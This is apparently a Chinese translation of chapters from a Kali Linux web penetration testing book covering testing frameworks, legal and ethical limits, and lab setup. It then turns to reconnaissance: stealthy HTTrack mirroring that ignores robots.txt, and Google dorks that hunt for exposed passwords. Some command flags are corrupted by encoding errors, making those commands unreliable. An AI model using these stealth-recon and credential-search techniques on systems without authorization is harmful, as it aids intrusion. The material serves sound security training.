认证是一个很好的手段,可以让你攀登学习曲线,开启你的网络渗透测试职业生涯。如果你正在阅读这本书,很可能你已经掌握了其中一个或多个专业认证。大多数认证蓝图都会引导道德黑客通过测试的流程,这与洛克希德·马丁的网络攻击链®(www.lockheedmartin.com/us/what-we-do/aerospace-defense/cyber/cyber-kill-chain.html)非常相似,如下图所示。虽然这些并非以名称命名的框架,但它们可以提供一种全面的方法论,可以被整合和适应到你自己的流程中。

网络攻击链驱动了大部分攻击和测试方法,并成为大多数行业认证的基础。

洛克希德·马丁公司被认为是在一篇名为《情报驱动的计算机网络防御:通过对对手行动和入侵攻击链的分析获得启示》的论文中创建了网络攻击链(www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf)。

两个领先的国际组织,EC-Council 和 GIAC/SANS,已经成为专注于认证的组织,通过资格认证安全专业人员而赢得了认可,这反过来也为他们的项目说得很好。 Offensive Security(Kali Linux 的创建者/维护者)也提供了备受尊敬的以 Kali 为重点的认证,因其实践测试方法而备受推崇。

EC-Council 的方法

EC-Council 的 Hacking and Hardening Corporate Web App/Web Site CAST 613 课程(www.eccouncil.org/programs/web-application-security/)涉及了一系列最具影响力和令人恐惧的攻击。他们的课程涉及了一些重点,并侧重于帮助开发人员了解如何更好地保护和测试他们的应用程序。鉴于 EC-Council 没有专门针对纯粹的网络应用程序渗透测试的攻击性认证,这门课程和认证可以作为 EC-Council 的认证的道德黑客CEH)认证中学到的更一般的渗透测试方法的补充。与许多 EC-Council 的认证一样,材料可以通过他们的培训课程或书店和在线第三方文本获得。

我们将参考 EC-Council 的一些道德准则,但考虑到这不像他们的 CEH 那样受欢迎,特别是要看更为成熟的网络渗透测试标准。

GIAC/SANS 的方法

GIAC 和 SANS 共同提供活动、培训路径和一个强大的社区,通常被认为是美国和北约政府网络安全专业人员的首选,并经常列入那里许多角色的要求。其中包括GIAC Web 应用程序渗透测试员GWAPT)认证。GWAPT 是一个独立的认证,与网络攻击链紧密相似,他们的课程只在会议和在线课程中提供。

他们的培训成本高昂,但通常是值得的,但这往往限制了可以访问他们的方法和框架的受众范围。考虑将 GWAPT 作为更高级的认证,值得在您的网络渗透测试职业生涯中追求的下一步。

攻击性安全方法

攻击性安全是为我们带来 Kali Linux 的组织,以及一些积极的博客和渗透测试和取证领域的思想领导。虽然他们在认证领域最为知名的是他们的攻击性安全认证专业(OSCP),他们还提供攻击性安全网络专家(OSWE)。这项严格的培训包括一个 24 小时的实践考试,这是他们认证策略的标志。虽然攻击性安全专注于实际方面,但事实上,他们确实教授了许多人将其作为基准的实践方法。他们的操作系统 Kali Linux 是重点,因此在本书的许多领域我们肯定会听取他们的指导。

开源方法和框架

开源倡导者为我们提供了一些非常全面的选择,我们可以选择作为起点。每个选项都提供了一个通常是免费或偏向特定供应商或工具集的结构。事实上,大多数由非营利组织开发的开源框架只能通过一系列工具来实现全面覆盖。来自世界互联网联盟(W3C)和 Web 应用程序安全委员会(WASC)等组织的额外指导可以帮助完善您的流程。

ISECOM 的 OSSTMM

安全和开放方法研究所(ISECOM)发布了最新的开源安全测试方法手册(OSSTMM)的付费版本,版本 4 是最新版本。银牌会员或更高级别会员可以访问该文档,但较早的版本可免费访问。

OSSTMM 在更高层次上描述了所有形式的渗透测试的过程,其中穿插着 Web 应用程序测试元素。我们将在进行过程中偶尔参考它,但可以将其视为本书的可选参考。

ISSAF

信息系统安全评估框架(ISSAF)实际上是一个被搁置的项目,但仍然提供了很好的信息。它可以帮助理解整个企业级评估过程,不仅包括渗透测试,还包括事件和变更控制程序、安全运营程序和环境的物理安全等。虽然 ISSAF 缺乏更多的当前应用测试指导,但它在提供样本 NDA、合同、问卷和其他有用的模板方面弥补了这一点,可以帮助制定适当的交付成果。

值得注意的是,ISSAF 涵盖了以下学科领域:

  • 评估过程中的项目管理、指南和最佳实践

  • 评估方法

  • 技术控制评估

  • Unix/Linux、Windows、Novell 和数据库系统的安全评估

  • Web 应用程序安全评估

  • 互联网用户安全和社会工程学

  • 安全评估项目的法律方面

  • 非披露协议(NDA)和安全评估合同的模板

  • 请求提案(RFP)模板

  • 渗透测试实验室设计的一些建议(本章后面介绍)

NIST 出版物

NIST 已经在近 30 年的时间里发布了特别出版物,为许多技术领域提供最佳实践和指导,计算机安全资源中心(CSRC)在提供许多关于网络安全防御领域的免费可访问出版物方面处于领先地位。NIST 还发布了有价值的指南,用于测试组织安全方法的有效性和覆盖范围。

NIST 在这一领域的首次尝试,他们的特别出版物《信息安全测试和评估技术指南》(NIST 800-115 (nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf),现在已经过时,不再手动维护。参考 SP 800-115 是值得的,因为它仍然为各种渗透测试提供有用信息,包括 Web 应用。除了技术货币外,它的价值在于其对测试数据的系统处理,维护适当的控制,并将测试建立为有价值的报告。

感兴趣的最新 SP 是《评估联邦信息系统和组织中的安全和隐私控制》(SP 800-53A,可在nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53Ar4.pdf)上找到)。这个演示更少地关注行政流程,更多地提供了如何最好地制定自己的政策的指导方针。SP 800-53A 还提供了关于如何将它们合理地纳入 SDLC(如第一章,《常见 Web 应用和架构》中提到的)的指导。作为额外的奖励,SP 800-53A 包括几个附录,提供了一些评估和报告信息;附录 F 包括一套完整的测试,可以纳入到你自己的流程中。NIST 测试方案按覆盖范围和关键性进行排名,为公开已知的漏洞提供了一些急需的严谨性。

OWASP 的 OTG

Web 渗透测试中最广泛接受的参考是 OWASP 测试指南,也称为 OTG,第 4 版(www.owasp.org/index.php/OWASP_Testing_Project)。由于社区的积极参与和对趋势的卓越预测能力,OWASP 多年来一直引领着这一领域。OWASP 的影响是 SANS、Black Hat 和 DevCon 等会议上的主要推动因素,他们的前十大网络安全威胁对我们所有人来说都是必读的。

OTG 与 NIST 指南类似,提供了一些关于在适当阶段进行测试的提示和指针。OWASP 比之前讨论过的其他全面框架更经常地维护 OTG,每三到四年发布一次新版本的前十名和 OTG。然而,OTG 的大部分内容直接涉及特定于 Web 的测试,可以全面覆盖不仅是前十名威胁,还有一系列由 OWASP 团队积极跟踪的漏洞。

尽管 OTG 涵盖了很多内容,但它从一个入门开始,包括 OWASP 在 SDLC 中的最佳实践和适当的测试阶段。OTS 还超越了技术漏洞,展示了目标客户如何从红队(进行模拟安全入侵)以及 OWASP 团队特定于 Web 渗透测试的许多侦察和足迹方面受益。一旦讨论了这个基础,接下来的部分将 Web 应用程序渗透测试分解成逻辑组,重点关注可以由类似测试、工具和类似的开发或部署阶段覆盖的特定架构区域:

  • 身份管理、认证和授权

  • 会话管理

  • 输入验证

  • 错误处理

  • 密码学

  • 业务逻辑(根据输入或更新处理和操纵数据)

  • 客户端(通常是受害者浏览器)

如果你现在还没猜到,OWASP 测试指南就是我们在本书中将要参考的基础。在实践中,其他框架可能对您更有效,但它们的文档的时效性、焦点、完整性和可访问性以及它们推荐的测试为我们提供了一个坚实的基础,使我们可以在测试目标应用程序时与 Kali Linux 一起使用它。

保持合法和道德


如果我们的测试流程能让我们远离监狱,并减少我们和客户的风险,那岂不是太好了?在大多数国家的国家、省、州和地方层面,法律体系呈指数级增长。我们所受到的众多新闻报道清楚地表明,世界各地的政府机构仍在努力确定如何在网络安全相关事件中找到隐私、保密和问责的正确平衡。事实证明,在绝大多数政府机构中,制定法律的人可能不适合理解复杂性并制定有效的法规。对我们来说,一个复杂因素是我们很少在单一司法管辖区内运营:跨州和国际纠葛是危险且动态的。我们如何才能在工作中摆脱持续的瘫痪和恐惧呢?

什么是合法的?

首先,我们测试的网站的位置和管理业务的法律管辖权将分别提出我们应该了解的不同法律和法规。在美国和欧盟,跨越州或成员国边界的行为属于其总体法规的主要管辖范围。为了避免违反这些法律,您可能会发现搜索您所在的管理机构的法律(对于欧盟,eur-lex.europa.eu/homepage.html)是一个很好的起点,而美国司法部提供类似的搜索功能,但在名为Prosecuting Computer Crimes的指南中总结了国家法典www.justice.gov/sites/default/files/criminal-ccips/legacy/2015/01/14/ccmanual.pdf))。美国的法律,例如类似于 1984 年的《计算机欺诈和滥用法案》、1996 年的《经济间谍法》、《联邦信息安全管理法》(FISMA)、2002 年的《网络安全增强法》和 2001 年的《为拦截和阻挠恐怖主义提供适当工具的美国统一和加强法》(USA PATRIOT)等,也影响了美国网络法律的法律先例和原则。像萨班斯-奥克斯利法案、《健康保险可携带性和责任法案》(HIPAA)和《支付卡行业数字安全标准》(PCI-DSS)等法规可能适用于我们将要与之互动的许多客户,取决于其功能和管理机构。

欧盟刚刚颁布了一项名为《通用数据保护条例》(GDPR)的新的具有深远影响的法规(www.eugdpr.org),它有助于定义公司的责任,肯定会影响我们参与涉及在欧盟开展业务的公司的项目的角色。印度政府最近制定了自己的全面《2013 年国家网络安全战略》,并通过其电子和信息技术部门网站提供所有这些信息(meity.gov.in/content/cyber-laws-security)。许多其他亚洲和非洲国家也不断修订自己的法律。值得投资于涵盖不断发展的法律环境的参考书和法律期刊,这可以帮助您保持在法律的正确一边。

随着您的实践不断发展,值得考虑聘请一名专注于网络安全、数据、隐私和道德黑客法律的律师或律所,以帮助您制定合法的合同,并在您和您的公司可能卷入任何法律诉讼时提供代表。

什么是道德?

尽管没有法律约束力,道德准则可以成为法律和法规发展的风向标,至少比大多数政府实体设定了更高的标准。虽然它们缺乏法律语言,但通常以简单的术语弥补了这一点,这些术语通常会引导我们远离可能出现的任何法律问题领域。EC-Council 和 GIAC/SANS 都发布了《道德准则》(www.eccouncil.org/code-of-ethics/www.giac.org/about/ethics)),许多其他行业机构和认证机构也有。一些商业工具供应商也对工具的正确使用有期望,并且不赞成使用其工具集进行不正当活动。通过注册为会员或持有他们的认证,您应该遵守他们的标准。

在渗透测试实践的自然演变中,很可能会遇到一些问题,这些问题可能在讨论或完成项目时出现,这可能在已建立的标准操作程序、道德准则或法律中是模棱两可的。在这些情况下,最好退一步,评估每个可用选项可能带来的短期和长期危害或利益。同意一套法律和道德边界可能是一种资产-有时最好的方法是完全避免道德或法律上的灰色地带,坚持那些得到充分证明的过程和行动。

实验室-练习我们所学到的东西


所以你可能会问,我们什么时候可以进行一些渗透测试的乐趣?让我们说很快。我们必须建立一个安全而又具有代表性的环境,可以为我们想要运行的各种测试提供成熟的目标。我们还希望在不影响一些真实生产应用程序或其基础系统或支持网络的性能的情况下推动极限。正如变化是生活的调味品一样,这也适用于渗透测试。通过接触和了解各种平台,您的测试效果将得到极大改善。如果您想深入了解更严格的通用渗透测试范围,可以参考一些很好的资源,比如 Packt 出版社的Building Virtual Pentesting Labs for Advanced Penetration Testing - Second Edition by Kevin Cardwellwww.packtpub.com/networking-and-servers/building-virtual-pentesting-labs-advanced-penetration-testing-second-edition)。在本节中,我们将简要讨论本书中将用于演练我们的渗透测试方法的沙盒或实验室。

作为参考,我为本书准备的实验室看起来类似于以下图表:

本书的渗透测试虚拟实验室提供了充足的空间来探索和演练新的攻击方法。

创建一个虚拟化环境

白帽黑客,就像任何 IT 专业人士一样,通常对特定平台和操作系统有狂热的忠诚。我完全预期本书的读者将使用运行某种 Microsoft Windows、Mac OS(X 或 Sierra)或 Linux/BSD(Ubuntu/Debian、Fedora/RedHat、SUSE、FreeBSD 等)的笔记本电脑。不要为小事烦恼-只要它是一个相当新的和配置良好的笔记本电脑或台式机(4 个 CPU 现代核心,以太网和无线,一些 USB(2 或 3 版本)插座,至少 16GB 的 RAM),它至少应该让您开始。

冒着再次引发狂热的辩论的风险,我们将选择一个虚拟化平台来运行在其之上(抱歉!)。虚拟化帮助我们平衡竞争,并通过使用虚拟化平台来建立虚拟网络段并安装和访问 Windows 和 Linux 桌面和服务器变体的虚拟机(VM)来实际提高我们实验室的多功能性。选择适合您预算和偏好的选项。像 Oracle 的 Virtual Box,VMWare 的 Workstation 或 Fusion,Citrix Xen,甚至 Parellels(在 Mac 上)都很受欢迎。在 Web 应用程序渗透测试中,性能并不像在其他一些形式中那样重要,因为我们在大多数工作中不会进行实时破解或哈希。

值得注意的是,您当然可以使用专用服务器或裸机(物理)主机和网络设备来构建实验室,但我们可以在我们的虚拟沙盒中完成本书中的所有工作。在实际实践中,更常见的是看到专业的渗透测试人员使用虚拟机来执行他们的测试,因为这有助于确保客户正在进行适当的消毒和隔离。测试人员可以简单地将虚拟机托管在可移动或网络驱动器上,并在项目完成时删除虚拟机。

我们的渗透测试主机

在撰写本书时,我们将使用最新的 Kali Linux 版本(2016.2),使用其存储库中的现成虚拟机(www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/)。我建议修改镜像以获得更大的分区(我使用了一个 1TB 的混合 USB 3.0 驱动器来存储所有镜像,并将 Kali 镜像设置为 100GB 的单个分区)。这个更大的占用空间将容纳大量的网站和数据收集档案。您也可以启用额外的虚拟网络接口卡(NIC),如果您愿意的话,但我使用 VMWare Fusion 的机器设置将单个 NIC 映射到每种所需的连接形式的适当接口。对于 MITM 攻击,我们将提供第二个 NIC。

创建一个目标丰富的环境

我们将遇到的大多数服务器目标将托管在 Linux 或 Windows 操作系统上,客户端将是 Linux、Windows、Mac OS 或移动设备(Android、iOS、Windows Phone 或 Blackberry)。让我们分别看待服务器和客户端。

寻找易受骗的服务器

如果您有活跃的Microsoft Developers ProgramMSDP)许可证,您可以使用这些镜像进行测试;但对于我们其他人来说,没有预算支持这一点,您可以从微软的评估中心网站(www.microsoft.com/en-us/evalcenter/)下载几乎任何操作系统或软件包的完整版本,评估期为 60 至 180 天。这两个选项都是合适的,但频繁需要重新开始和评估许可证的不存在成本使后者成为一个完全合适的选择。我建议至少具有 MS Server 2008、2012 和 2016 的镜像,并为 IIS 和其他重要的 Web 服务配置镜像。

Linux 客户端更容易。您可以找到几乎任何您需要的变体的选项;对于企业/商业变体,您可以找到一个免费的、社区支持的近似值,非常接近。大多数用于 Web 服务的 Linux 实现不仅包括 Linux 操作系统,还包括适当的 Apache Web 服务器、MySQL 数据库和 PHP 版本,它们共同形成了 LAMP Web 堆栈。拥有 Debian、Ubuntu、CentOS(用于 Red Hat 目标)、Fedora 或 SuSE Linux 的当前镜像可以确保您准备好应对任何潜在的情况。

对于有抱负的渗透测试人员来说,最好的事情是可黑客化的服务器 VM 的出现,其中有几个允许练习针对各种漏洞的尝试。Rapid7 发布并支持了 Metasploitable VM(information.rapid7.com/metasploitable-download.html),虽然有点老了,但非常值得进行一般渗透测试的练习。然而,Web 渗透测试受益于预配置应用程序的适当镜像,这样我们就可以直接进行有趣的事情。感兴趣的镜像包括Damn Vulnerable Web ApplicationDVWAwww.dvwa.co.uk)、OWASP Broken Web App(sourceforge.net/projects/owaspbwa/files/)和 Beebox VM(Buggy Web Application 或bwAPP模块的基于 VM 的版本,可在www.itsecgames.com找到)。可以在 VulnHub 找到其他练习用的 VM(www.vulnhub.com/)。

不知情的客户

如果您不愿意透露您的信息并创建一个帐户来下载适合的 MS 桌面操作系统,您也可以下载微软鼓励测试人员和开发人员使用的操作系统和浏览器组合镜像(developer.microsoft.com/en-us/microsoft-edge/tools/vms/)。您可能需要选择 Windows 7、8 和 10 主机,以便完整地进行测试;在本书的各个部分,尝试每个可用的浏览器(Internet Explorer/Edge、Firefox、Chrome 等)是有意义的。虽然 MSDN、Eval Center 和开发人员下载都可以使用,但为了更轻松地设置新环境,后一种方法对我大部分的准备工作都足够了。

移动设备操作系统可以在虚拟环境中以不同的成功率运行,iOS 是唯一的例外(祝你好运,试图在虚拟环境中运行 iOS!)我们大多数的技术都将仅利用浏览器,因此使用浏览器插件或开发人员工具配置可以解决问题。从 Firefox 或 Chrome 快速搜索用户代理浏览器更改器将会找到工具,允许桌面浏览器模拟许多其他基于移动和桌面的浏览器。我尽可能使用 Kali VM 的 Firefox 或 Iceweasel 浏览器,必要时回退到同一 VM 上的 Chrome 或 IE/Edge、Safari 或其他适当的 Windows VM 上的浏览器,或者我笔记本电脑上的浏览器。

摘要


Web 应用程序渗透测试可能是一个庞大的工程。没有计划就是在计划失败;我们必须确保我们有一个明确定义的流程或测试框架,这个流程不仅被我们的技术团队充分理解,而且也得到了客户管理层的认可,可以在他们的环境中使用。渗透测试不可避免地迫使我们了解工作的一些非技术方面。当我们针对我们不拥有的应用程序,跨第三方提供的基础设施进行攻击时,我们肯定必须遵守许多利益相关者的各种规则和道德规范。要实现这种理解有很多不同的角度,所以至少这应该是一个深思熟虑的过程。

在本章中,我们看了一些更为普遍的测试方法和框架,我们可以从中汲取经验,建立自己的流程和实践。我们还花了一些时间来了解如何确定我们的法律和道德责任范围。与黑客不同,我们在这里是为了帮助我们的客户抵御攻击,所以我们有规则要遵循。我们在定义我们的流程和了解我们的边界方面的所有作业都是根据我们组建的沙盒进行测试的,我们还涵盖了建立自己的沙盒或实验室的一些方面。你自己的环境可能看起来非常不同:因人而异!

在我们的下一章中,我们将最终开始深入探讨如何对我们的目标进行侦察和范围确定。我们将研究可用的工具,以进行非侵入式扫描并避开我们目标网站的雷达,同时我们将深入了解它们的结构,揭示访问的潜在向量,并记录可能有助于我们在测试的后期阶段的邻近关系和注意事项。让我们开始吧!

第三章:通过目标侦察追踪猎物

美国总统亚伯拉罕·林肯,尽管他可能曾经被引用,但通常(错误地)被认为曾经说过,

“给我六个小时砍倒一棵树,我将花前四个小时磨削斧头。”

无论这句话真正来自何处,我们肯定可以将其与黑客联系起来。在网站渗透测试中的许多成功取决于我们在这里发现了什么,我们如何筛选信息,以及我们如何将其与本书后面介绍的工具相结合。在这里进行彻底和系统的方法将节省时间,集中精力,并有助于规划我们的攻击。我们在第二章中讨论的各种框架和组织的方法都包括一些信息收集方面,Kali Linux 中可用的工具应该对您来说是熟悉的。

注意

在本书中,我们将跟随Penetration Testing with the Raspberry Pi â�� Second Edition(由Jason BeltrameMike McPhee讨论的 Pen Test Kill Chain)的讨论,该书可在www.packtpub.com/networking-and-servers/penetration-testing-raspberry-pi-second-edition上找到,如下图所示:

Pen Test Kill Chain 有助于了解涉及何种工具。构建您自己的版本以帮助可视化工作流程。

这种信息收集有多种形式,但作为一名实践黑客,您可能已经形成了自己的偏好和惯例。开源信息收集、对目标本身进行被动侦察以及微妙、专注的扫描和蜘蛛的健康混合可以在很大程度上帮助制定项目的游戏计划的其余部分。挑战在于尽可能暴露更多信息,而不引起目标操作者的防御意识(也称为偏执狂)。我希望我能帮助提供一些调整您的流程的建议,这样您就可以在不被发现的情况下更深入地进行发现。

所有系统的普遍漏洞是用户,而 Web 应用程序为其开发人员提供了一个表达自己并展示他们的机会。有效的社会工程学往往可以绕过大量的技术工程,以获取 Web 应用程序架构的凭据和其他关键元素。我们将看看如何利用信任和自豪感来鼓励目标用户和开发人员,尽可能多地利用这种方法。

让我们不要忘记,文物本身可以帮助客户了解他们的信息曝光。敏锐的网络安全举措不仅会引起对其组织公开可用信息的关注,甚至可能会进行误导。在您的发现中,编目您的发现:客户应该因减少其公开曝光而受到赞扬。

在本章中,我们将讨论以下内容:

  • 收集和使用网站的离线存档

  • 使用公共资源和一个时髦的旧浏览器对您的目标进行侦察

  • 使用社会工程学来黑客用户

  • 自动化开源信息收集以绘制和描述目标

  • 通过主动扫描识别目标的关键方面,并通过后续努力进行聚焦

模拟游戏


如果攻击的侦察阶段中的一个挑战让你的血液沸腾,那就是试图在不被发现的情况下找出关于一个网站的每一个细节。普通用户随机浏览网站,重点关注某些高流量交易,任何比这更有条理的行为可能引起怀疑。低效的工作流也可能引起警觉,因此能够浏览网站并制定攻击计划是一个非常有用的技巧。在这一部分,我们将看看如何创建一个网站的镜像(而不会惊动防御者),进行无风险的模拟。他们说模仿是最好的恭维方式。

我们还会发现网站镜像存在一些限制。后端数据、高级脚本和智能都无法在应用程序和数据层没有相同基础设施的情况下复制。我们可能依赖的业务逻辑无法复制,我们的最终目标——大量数据也无法以这种方式获取。我们需要更好地了解如何安全地浏览。在本节中,我们还将讨论一些更好的探测技术,以便在实际网站上进行隐蔽操作。

使用 HTTrack 创建(然后破坏)镜像

军事行动、体育队伍和商业提案团队在最佳状态下将对他们的战术和整体战略进行排练或完善,对抗一个模拟对手或在一个真实复制的环境中进行。这样做的好处很多,但其中最重要的是,这些排练环境提供了一个安全的环境,可以在不失去实际战斗、比赛或项目的风险的情况下建立信心和能力。在电影《奥斯汀大冒险》中,他们实际上模拟了他们要攻破的金库的完整副本来排练他们的计划。这一点是,模拟的越准确和真实,当真正的情况发生时成功的机会就越大。

现在我的电影参考结束了,想想我们作为渗透测试人员的角色。如果你可以下载一个完整网站的 HTML、JavaScript、CGI 和 CSS 代码以及层次结构,那么这不是一个探索网站的好方法吗?你和你的团队进行的所有头脑风暴现在可以用在一个复制品上,因为没有目标组织监控仪表板,我们可以测试一堆向量,而不是只担心一个。在渗透测试中,这也是一个创建本地、便于旅行的网站副本的有用方法,可以在不依赖实际网络连接的情况下使用。

这些存档也可以成为欺骗攻击的基础,让我们可以在使用浏览器利用框架BeEF)或社会工程工具包SET)的流氓蜜罐中托管实际的网页并进行修改。

诸如wgetw3af之类的多个网站镜像工具可以进行存档,但HTTrack是 Kali 中最全面的工具,可以创建一个镜像。你可能已经用它来创建基本存档,但通过一些调整,它可以做得更多。让我们来看看一些最有用的侦察 CLI 选项及其相应的图形用户界面GUI)版本。

创建一个隐秘的初始存档。

作为一个提醒,你可以通过以下步骤创建一个网站的存档:

httrack "http://www.hackthissite.org/" -O "/tmp/www.hackthissite.org" "+*.hackthissite.org/*"

â��O指向输出位置(一些本地可访问的驱动器,您计划从中访问镜像)。虽然帮助可能会很有用(hattrack --helpman help),但您可以从 HTTrack 网站上 Fred Cohen 提供的手册中获得更多信息(www.httrack.com/html/fcguide.html)。正如Mr. Cohen所透露的,CLI 中有大量开关,了解其中许多的默认值对于制定自己的镜像操作非常有用。更复杂的网站将采取措施防止从诸如 HTTrack 的实用程序进行镜像,包括递归链接和目录结构,域拆分以及使用脚本混淆链接以损害您镜像它们的能力。还可能采取极端措施,如 IP 黑名单或限速,因此最好谨慎使用这些工具,并尊重网站所有者。

调整更隐秘的存档

进行更隐秘的镜像操作当然值得学习,但我们需要考虑一些权衡。限制带宽和线程数量有助于使我们不被发现,但这意味着镜像操作将需要更长时间。我们可以通过过滤器和目录限制来限制我们的搜索范围,这是社会工程和我们自己的经验可以帮助解决的问题。还有其他地方可以提高效率吗?

HTTrack 处理查询时存在相当大的开销,时间和计算资源的消耗的一个重要因素是在网站上解析多用途互联网邮件扩展MIME)类型。HTTrack 有许多可定制的功能,可以通过修改.httrackrc文件来利用,但我学到的最有用的一个是添加以下行,这大大缩短了我的镜像时间,从几小时缩短到几分钟。通过使用您喜欢的编辑器将这一行完整地添加到.httrackrc文件中,并保存文件:

set assume asp=text/html,php3=text/html,cgi=image/gif,dat=application/x-zip,mpg=application/x-mp3

一旦我对默认设置进行了修改,我发现有用的隐秘命令字符串将执行一系列非默认操作。请记住,一旦你磨练出自己的开关,你也可以将它们保存在.httrackrc文件中。这是我使用的命令:

httrack www.hackthissite.org -O /tmp/hackthissite �c4 -%c10 �A20000000 �m50000000 �m1000000' �M100000000 �r25 �H2 �www.hackthissite.org/forums/* -www.hackthissite.org/user/*

以下是我使用的选项的简要描述。N表示一个变量:

  • -cN:这限制了同时下载的数量或文件句柄,以避免过度压倒我们的目标

  • -AN:这限制了带宽以保持低调

  • -mNâ��mN':这些分别限制了非 HTML 和 HTML 文件大小的总下载量,以确保我们不会超出磁盘空间

  • -M:这设置了整体镜像大小限制,再次保持磁盘大小可管理

  • -rN:这会对递归深度进行安全设置,以免陷入循环

  • -H2:如果检测到慢速流量,将停止下载

  • -<path>/*:这跳过了一个路径(在这种情况下,我不想下载他们庞大的论坛或用户资料)

您还可以使用 GUI 版本的WebHTTrack,这对学习如何调整您喜欢的过滤器和选项非常方便:

WebHTTrack 提供了一个直观的方式来掌握过滤器和调整,并且还可以保存扫描设置以供重复使用。

这个命令对www.hackthissite.org/网站的攻击花了一小时多一点的时间,下载了 200MB 的信息。在这个例子中,我省略了论坛和用户,但我也可以省略其他目录,以便专注于网站的特定区域,或者避免违反客户设定的界限。如果在命令行运行时按下Enter,你将得到一个关于运行时间、找到的链接数量以及到目前为止的总下载大小的摘要:

状态屏幕是一个简单的方式来查看你的进展。如果你决定提前结束,按下 Ctrl + C 将退出镜像。

WebHTTrack 的另一个优势是,你可以与存档过程中的文件进行交互以跳过文件。

当存档完成时,你可以通过在浏览器中访问本地路径来像访问实时网络一样浏览它:file:///tmp/hackthissite/www.hackthissite.org/index.html

你将在下面的截图中看到,我们成功捕获了动态广告横幅内容(infosecaddicts.com/),这也值得过滤:

使用 HTTrack 创建的本地镜像与网站进行交互和浏览,这对于识别潜在的向量至关重要。

镜像是否完整并且是最新的?

有很多开关可以让你去探索,但有一个特别有用的开关可以帮助我们镜像网站上开发者告诉 Google、Yahoo 和其他爬虫忽略的地方。robots.txt文件或元标记用于告诉浏览器跳过存档或搜索扫描。他们通常这样做是为了避免允许某些东西被搜索,这在渗透测试中肯定是有趣的。添加â��s0选项可以确保我们在扫描中不会漏掉任何东西。

更新我们的镜像是一个非常简单的过程。假设你将它存储在一个非易失性位置(/tmp在重新启动时会消失),你可以手动收集,甚至分配一个cron任务来自动更新你的镜像内容和链接。一个提示将确保你的意思是更新缓存;假设是这样,它将删除锁定文件并执行更新。我建议探索存档开关,可以让你保留旧文件或执行增量更新,以更好地利用你的时间。一些旧的副本可能包含被删除以掩盖无意中披露的内容,因此值得保存一些历史文件,直到它们被扫描。

注意

在离开 HTTrack 讨论之前,值得一提的是,在练习已知网站时,调整你的选项和设置可以使你的镜像过程更加高效和有用。一定要做笔记和记录你喜欢的替代方案!

HTTrack 提供智能更新,这可以节省带宽和时间。如果需要,还可以使用 CLI 选项进行多个副本和版本。

参观目标环境

本地副本允许我们以安全的方式审查网站,但我们从哪里开始呢?手动的实际扫描将帮助我们了解流程,并给我们一些关于下一步的提示。我首先建议了解网站的层次结构以及各种动态内容门户可能存在的位置。用户可以在哪里登录托管的应用程序,查询信息,或提供/查看反馈?我们还应该记录我们可以在以后用来枚举名称、电子邮件地址和组织信息,并更好地理解实体关系的实体信息。如果我们要重新利用这个镜像进行 MITM 或蜜罐任务,我们希望能够复制不仅外观和感觉,还有工作流程。

存在一些工具可以帮助进行这些漫游,比如那些揭示底层 HTML 和 JavaScript 元素的工具。通过 Firefox 的开发者工具查看页面源代码,使用 OWASP Mantra 附加包中的插件 HackBar 或其他 HTML 查看器。为了节省时间,我建议除了最初熟悉应用程序或网站之外的任何事情都要使用完整的代理工具集,比如 Burp 或 Firebug。使用 Web 应用程序测试套件(在接下来的几章中介绍)可以帮助您有效地从侦察阶段转移到武器化、利用或安装阶段的活动。

开源的强大


在接受任务或工作之前,我做的第一件事是弄清楚我要面对什么。以前并不总是这样。作为一名年轻的通信系统工程师,我曾被要求领导一个听起来很酷的子系统规范的开发。哇哦,这是一个闪耀的时刻!我基于团队负责人提供的销售说辞做出了承诺。现实在我接受任务的第二周左右击中了我,因为只有在那时我才能从键盘上抬起头来设想我前方的道路。如果我在承诺之前做了那项研究,我本可以避免前方的麻烦。不用说,工作完成了,但我总是回想起来,想知道它本可以做得更好,如果我在接受任务之前研究了过程、约束和期望,我会更快乐、更休息。

渗透测试也不例外。虽然一些测试人员(事实上,黑客也是如此)可能在研究目标之前接受工作,但经验丰富的专业人士采取了不同的方法,并做好了功课。我们都是谷歌搜索专家,但我们可以改进这些查询的方式,并利用其他工具来完善我们对目标的了解。我们需要利用搜索引擎、社交媒体、论坛和其他公共领域信息之间的许多链接。下图向我们展示了原始的开源情报(OSINT)来自许多来源,可以通过搜索引擎和 Kali 的工具集来访问。有效利用 OSINT 有助于更好地理解项目的要求,并可以帮助我们制定策略,发现漏洞,收集用户信息,并获取有助于我们绘制基础设施的详细信息。我们将看一些可能熟悉的工具,但我们将看看是否可以发掘它们更多的潜力。

浏览器和 Kali 的工具集可以帮助访问大量的 OSINT。

开源情报与谷歌和谷歌黑客数据库

搜索引擎现在已经成为我们超连接的全球社会的重要组成部分,以至于很容易忽视每个引擎的优势和功能。在美国,Google、Bing,以及在较小程度上的 Yahoo 主导了市场,但考虑到我们作为渗透测试人员的角色可能跨越国界,与引擎及其本地化合作以确保我们获得最新的信息是很有用的。Search Engine Colossus(https://www.searchenginecolossus.com)提供了每个国家的领先选项,包括那些受到禁运的国家。特别是那些非技术领域的一般信息搜索,应该包括目标地区或其合作组织的本地搜索引擎。然而,谷歌的搜索引擎提供了出色的覆盖范围和自己的广泛语法,可以将这些一般引擎的发现与极大的效力一起使用,以发现架构细节、敏感文件和潜在的进入目标服务器的途径。

调整你的谷歌搜索技能

有一些专门讲解提高谷歌搜索技能的书籍,但对于网络渗透测试,我们可以专注于一些可以更好地利用引擎并消除无用搜索结果的技巧和实践,通常称为噪音。我们可以使用一些操作符来过滤或聚焦我们的结果,而其他操作符将执行逻辑组合或修改引擎的行为。让我们先看看最有效的修饰符和选项,首先是过滤或聚焦,然后是逻辑操作符:

  • 站点:操作符:使用站点:操作符告诉谷歌的引擎只接受托管在特定域上的文件。当我们正在寻找合法的联系信息、暴露的文件和内容时,我们将使用此操作符,以便让我们纯粹地专注于该域的结果,而不是在页面点击顺序中的链接的完整转储,这可能会垃圾邮件许多其他网站。例如,在 Cisco ASA 文档的搜索之前(左)和站点:操作符之后(右):

站点:操作符是一个很好的第一个过滤器,可以确保结果集专注于您的目标。

  • 凭证操作符:使用关键词如usernamepassworduseridpwdpasscode、credentials 或任何其他变体可以帮助我们找到密码或用户名恢复详情。对这些术语进行快速有针对性的搜索不仅可以指向您可能要定位的门户入口,而且实际上可能提供解锁它们的钥匙。我们将在本书的后面讨论使用默认凭证对这些查询结果的影响:
site:<target site> username|userid|password|passcode|pwd

